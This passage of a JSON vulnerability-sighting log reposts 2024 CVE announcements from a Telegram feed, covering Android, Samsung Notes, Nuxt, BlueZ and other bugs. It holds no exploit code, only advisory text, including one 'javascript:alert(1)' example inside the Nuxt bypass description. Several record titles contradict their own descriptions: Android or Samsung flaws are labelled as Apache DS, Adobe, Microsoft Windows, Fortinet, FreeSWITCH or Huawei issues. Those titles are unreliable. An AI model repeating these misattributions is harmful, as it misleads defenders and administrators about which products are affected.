\nSeverity: 4.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"04 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-04T09:22:48.000000Z"}, {"uuid": "1653851b-889b-4486-a62d-2766ec5193ac", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34463", "type": "seen", "source": "https://t.me/cvedetector/4695", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34463 - BPL Personal Weighing Scale BLE Data Disclosure Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34463 \nPublished : Sept. 3, 2024, 2:15 p.m. | 15\u00a0minutes ago \nDescription : BPL Personal Weighing Scale PWS-01BT IND/09/18/599 devices send sensitive information in unencrypted BLE packets. (The packet data also lacks authentication and integrity protection.) \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"03 Sep 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-09-03T16:38:33.000000Z"}, {"uuid": "27c81aad-60b7-452e-9569-59a50f9703aa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34727", "type": "seen", "source": "https://t.me/cvedetector/3307", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34727 - BlueZ SDP Heap Buffer Overflow Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34727 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In sdpu_compare_uuid_with_attr of sdp_utils.cc, there is a possible out of bounds read due to a heap buffer overflow. This could lead to remote information disclosure with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:48.000000Z"}, {"uuid": "310f8e8a-8ca4-4b56-a1d9-16399377f716", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34739", "type": "seen", "source": "https://t.me/cvedetector/3306", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34739 - Android USB Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34739 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In shouldRestrictOverlayActivities of UsbProfileGroupSettingsManager.java, there is a possible escape from SUW due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:47.000000Z"}, {"uuid": "2df71018-58e6-41b2-997a-d62bc075c294", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34731", "type": "seen", "source": "https://t.me/cvedetector/3305", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34731 - Apache DS Internal Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34731 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In multiple functions of TranscodingResourcePolicy.cpp, there is a possible memory corruption due to a race condition. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:47.000000Z"}, {"uuid": "faa9acbe-0c5c-4353-9c3e-9a92cdae7aae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34740", "type": "seen", "source": "https://t.me/cvedetector/3304", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34740 - Adobe BinaryXmlSerializer XML Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34740 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In attributeBytesBase64 and attributeBytesHex of BinaryXmlSerializer.java, there is a possible arbitrary XML injection due to an integer overflow. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:46.000000Z"}, {"uuid": "deca2902-eacc-4818-b1a2-7a25d730d4e0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34736", "type": "seen", "source": "https://t.me/cvedetector/3303", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34736 - Stagefright Android B-Frame Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34736 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In setupVideoEncoder of StagefrightRecorder.cpp, there is a possible asynchronous playback when B-frame support is enabled. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:42.000000Z"}, {"uuid": "b786d22b-e6af-45ce-83de-3ac634fffb81", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34741", "type": "seen", "source": "https://t.me/cvedetector/3302", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34741 - \"Qualcomm Lock Screen Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-34741 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In setForceHideNonSystemOverlayWindowIfNeeded of WindowState.java, there is a possible way for message content to be visible on the screensaver while lock screen visibility settings are restricted by the user due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:41.000000Z"}, {"uuid": "3fd7ea28-c3f8-4077-aecc-6dcd94d1666f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34738", "type": "seen", "source": "https://t.me/cvedetector/3301", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34738 - Google Play Services AppOps CVE-Local Escalation of Privilege\", \n  \"Content\": \"CVE ID : CVE-2024-34738 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In multiple functions of AppOpsService.java, there is a possible way for unprivileged apps to read their own restrictRead app-op states due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:40.000000Z"}, {"uuid": "d7f3dde3-01e5-483f-8c4f-3596314d952a", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34742", "type": "seen", "source": "https://t.me/cvedetector/3300", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34742 - Blackberry MDM Denial of Service Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34742 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In shouldWrite of OwnersData.java, there is a possible edge case that prevents MDM policies from being persisted due to a logic error in the code. This could lead to local denial of service with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:39.000000Z"}, {"uuid": "1129f298-1419-463e-8070-0e55ead25095", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34743", "type": "seen", "source": "https://t.me/cvedetector/3299", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34743 - Qualcomm SurfaceFlinger Tapjacking Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34743 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In setTransactionState of SurfaceFlinger.cpp, there is a possible way to perform tapjacking due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:38.000000Z"}, {"uuid": "a9f513fd-84e1-4f11-b161-855ca4f50ad2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34734", "type": "seen", "source": "https://t.me/cvedetector/3298", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34734 - Fortinet VPN Insecure Default Value Privilege Escalation\", \n  \"Content\": \"CVE ID : CVE-2024-34734 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In onForegroundServiceButtonClicked of FooterActionsViewModel.kt, there is a possible way to disable the active VPN app from the lockscreen due to an insecure default value. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:34.000000Z"}, {"uuid": "41145c06-ff60-490a-9f3b-0ac75577e3e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34737", "type": "seen", "source": "https://t.me/cvedetector/3296", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34737 - \"Microsoft Windows ActivityClientController Pip Window Privilege Escalation Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-34737 \nPublished : Aug. 15, 2024, 10:15 p.m. | 38\u00a0minutes ago \nDescription : In ensureSetPipAspectRatioQuotaTracker of ActivityClientController.java, there is a possible way to generate unmovable and undeletable pip windows due to a logic error in the code. This could lead to local escalation of privilege with no additional execution privileges needed. User interaction is not needed for exploitation. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"16 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-16T01:10:32.000000Z"}, {"uuid": "d722d5b3-6951-4aa2-b92b-4890e07088a1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/2Ubj45-CL0GpfjVJ064iydeyB5QDNcFMhwT-fj-fWEk-R_Q", "content": "", "creation_timestamp": "2024-07-10T04:50:59.000000Z"}, {"uuid": "5ef76e05-257c-4d6d-8c8e-47b91ab9ff95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34102", "type": "published-proof-of-concept", "source": "Telegram/h9mr31iHViKJhiSIoWcoJWN_If1njkgW5N_RzsEqeg48wRE", "content": "", "creation_timestamp": "2024-07-08T12:32:37.000000Z"}, {"uuid": "80e5b4ea-d2bd-4b3e-b0e5-6d5b5e3b1a64", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34458", "type": "seen", "source": "https://t.me/cvedetector/3645", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34458 - Keyfactor Command SQL Injection Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34458 \nPublished : Aug. 20, 2024, 2:15 p.m. | 41\u00a0minutes ago \nDescription : Keyfactor Command 10.5.x before 10.5.1 and 11.5.x before 11.5.1 allows SQL Injection which could result in information disclosure. \nSeverity: 0.0 | NA \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"20 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-20T17:08:03.000000Z"}, {"uuid": "ffa4d019-373a-4f5f-8890-3b8ec2139ab6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34343", "type": "seen", "source": "https://t.me/cvedetector/2496", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34343 - Nuxt XSS Protocol Parsing Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34343 \nPublished : Aug. 5, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. The `navigateTo` function attempts to blockthe `javascript:` protocol, but does not correctly use API's provided by `unjs/ufo`. This library also contains parsing discrepancies.  The function first tests to see if the specified URL has a protocol. This uses the unjs/ufo package for URL parsing. This function works effectively, and returns true for a javascript: protocol. After this, the URL is parsed using the parseURL function. This function will refuse to parse poorly formatted URLs. Parsing javascript:alert(1) returns null/\"\" for all values. Next, the protocol of the URL is then checked using the isScriptProtocol function. This function simply checks the input against a list of protocols, and does not perform any parsing. The combination of refusing to parse poorly formatted URLs, and not performing additional parsing means that script checks fail as no protocol can be found. Even if a protocol was identified, whitespace is not stripped in the parseURL implementation, bypassing the isScriptProtocol checks. Certain special protocols are identified at the top of parseURL. Inserting a newline or tab into this sequence will block the special protocol check, and bypass the latter checks. This ONLY has impact after SSR has occured, the `javascript:` protocol within a location header does not trigger XSS. This issue has been addressed in release version 3.12.4 and all users are advised to upgrade. There are no known workarounds for this vulnerability. \nSeverity: 6.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T23:56:54.000000Z"}, {"uuid": "ccdc1011-b6d5-4aff-9bcc-e3207f674eea", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34344", "type": "seen", "source": "https://t.me/cvedetector/2493", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34344 - \"Nuxt Remote Code Execution through Insufficient Path Parameter Validation\"\", \n  \"Content\": \"CVE ID : CVE-2024-34344 \nPublished : Aug. 5, 2024, 9:15 p.m. | 40\u00a0minutes ago \nDescription : Nuxt is a free and open-source framework to create full-stack web applications and websites with Vue.js. Due to the insufficient validation of the `path` parameter in the NuxtTestComponentWrapper, an attacker can execute arbitrary JavaScript on the server side, which allows them to execute arbitrary commands. Users who open a malicious web page in the browser while running the test locally are affected by this vulnerability, which results in the remote code execution from the malicious web page. Since web pages can send requests to arbitrary addresses, a malicious web page can repeatedly try to exploit this vulnerability, which then triggers the exploit when the test server starts. \nSeverity: 8.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"05 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-05T23:56:51.000000Z"}, {"uuid": "963e4395-4d5e-433f-a0eb-f3dce9b1ae42", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34163", "type": "seen", "source": "https://t.me/cvedetector/3136", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34163 - \"Intel NUC Firmware Privilege Escalation\"\", \n  \"Content\": \"CVE ID : CVE-2024-34163 \nPublished : Aug. 14, 2024, 2:15 p.m. | 39\u00a0minutes ago \nDescription : Improper input validation in firmware for some Intel(R) NUC may allow a privileged user to potentially enableescalation of privilege via local access. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"14 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-14T17:23:01.000000Z"}, {"uuid": "321666d1-fb91-47c1-b709-37ac3f0e6cbb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34788", "type": "seen", "source": "https://t.me/cvedetector/2671", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34788 - Citrix EPMM Authentication Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-34788 \nPublished : Aug. 7, 2024, 4:17 a.m. | 36\u00a0minutes ago \nDescription : An improper authentication vulnerability in web component of EPMM prior to 12.1.0.1 allows a remote malicious user to access potentially sensitive information \nSeverity: 5.3 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T06:56:19.000000Z"}, {"uuid": "45e8bcf6-cac4-4802-a399-3de021f07caa", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34634", "type": "seen", "source": "https://t.me/cvedetector/2649", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34634 - Samsung Notes OOB Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34634 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in parsing connected object list in Samsung Notes prior to version 4.4.21.62 allows local attacker to access unauthorized memory. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:35.000000Z"}, {"uuid": "2ba14df7-fba4-4cf3-b980-9ac5e1dca6f5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34635", "type": "seen", "source": "https://t.me/cvedetector/2648", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34635 - Samsung Notes Out-of-bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34635 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in parsing textbox object in Samsung Notes prior to version 4.4.21.62 allows local attacker to access unauthorized memory. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:34.000000Z"}, {"uuid": "bd41ab79-ddfd-4a81-868c-a228888a3570", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34617", "type": "seen", "source": "https://t.me/cvedetector/2666", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34617 - \"Samsung Telephony Permission Bypass Vulnerability\"\", \n  \"Content\": \"CVE ID : CVE-2024-34617 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Improper handling of insufficient permission in Telephony prior to SMR Aug-2024 Release 1 allows local attackers to configure default Message application. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:16:03.000000Z"}, {"uuid": "76b3be3b-9b9f-440d-9876-1a681b2fb5b3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34619", "type": "seen", "source": "https://t.me/cvedetector/2665", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34619 - FreeSWITCH Multiple Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34619 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Improper input validation in librtp.so prior to SMR Aug-2024 Release 1 allows remote attackers to execute arbitrary code with system privilege. User interaction is required for triggering this vulnerability. \nSeverity: 7.5 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:16:02.000000Z"}, {"uuid": "5b1721a7-5d11-40c4-980e-42b7fbe67edc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34620", "type": "seen", "source": "https://t.me/cvedetector/2664", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34620 - SumeNNService Privilege Escalation Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34620 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Improper privilege management in SumeNNService prior to SMR Aug-2024 Release 1 allows local attackers to start privileged service. \nSeverity: 8.4 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:16:01.000000Z"}, {"uuid": "ce7bc499-020f-469b-ac5d-df93af492fa3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34618", "type": "seen", "source": "https://t.me/cvedetector/2663", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34618 - Huawei CellInfo Access Control Bypass\", \n  \"Content\": \"CVE ID : CVE-2024-34618 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Improper access control in System property prior to SMR Aug-2024 Release 1 allows local attackers to access cell related information. \nSeverity: 4.0 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:16:00.000000Z"}, {"uuid": "e7f37c1a-a00e-438c-a137-d8a05ceaf4bb", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34624", "type": "seen", "source": "https://t.me/cvedetector/2662", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34624 - Samsung Notes OOB Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34624 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying paragraphs in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:56.000000Z"}, {"uuid": "86b0011c-2f98-44a7-ac32-a49edf6d3411", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34622", "type": "seen", "source": "https://t.me/cvedetector/2661", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34622 - Samsung Notes Out-of-bounds Write Remote Code Execution Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34622 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds write in appending paragraph in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially execute arbitrary code with Samsung Notes privilege. \nSeverity: 7.8 | HIGH \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:52.000000Z"}, {"uuid": "d580d8d8-e491-49ff-a98f-842c7913f38b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34621", "type": "seen", "source": "https://t.me/cvedetector/2660", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34621 - Samsung Notes OOB Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34621 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying binary with data in Samsung Notes prior to version 4.4.21.62 allows local attackers to potentially read memory. \nSeverity: 5.5 | MEDIUM \nVisit the link for more details, such as CVSS details, affected products, timeline, and more...\",\n  \"Detection Date\": \"07 Aug 2024\",\n  \"Type\": \"Vulnerability\"\n}\n\ud83d\udd39 t.me/cvedetector \ud83d\udd39", "creation_timestamp": "2024-08-07T05:15:51.000000Z"}, {"uuid": "d1f2b9f1-119d-48db-8ce2-fe85daa86595", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "2a075640-a300-48a4-bb44-bc6130783b9b", "vulnerability": "CVE-2024-34626", "type": "seen", "source": "https://t.me/cvedetector/2659", "content": "{\n  \"Source\": \"CVE FEED\",\n  \"Title\": \"CVE-2024-34626 - Samsung Notes Out-of-bounds Read Vulnerability\", \n  \"Content\": \"CVE ID : CVE-2024-34626 \nPublished : Aug. 7, 2024, 2:15 a.m. | 42\u00a0minutes ago \nDescription : Out-of-bounds read in applying own binary in Samsung 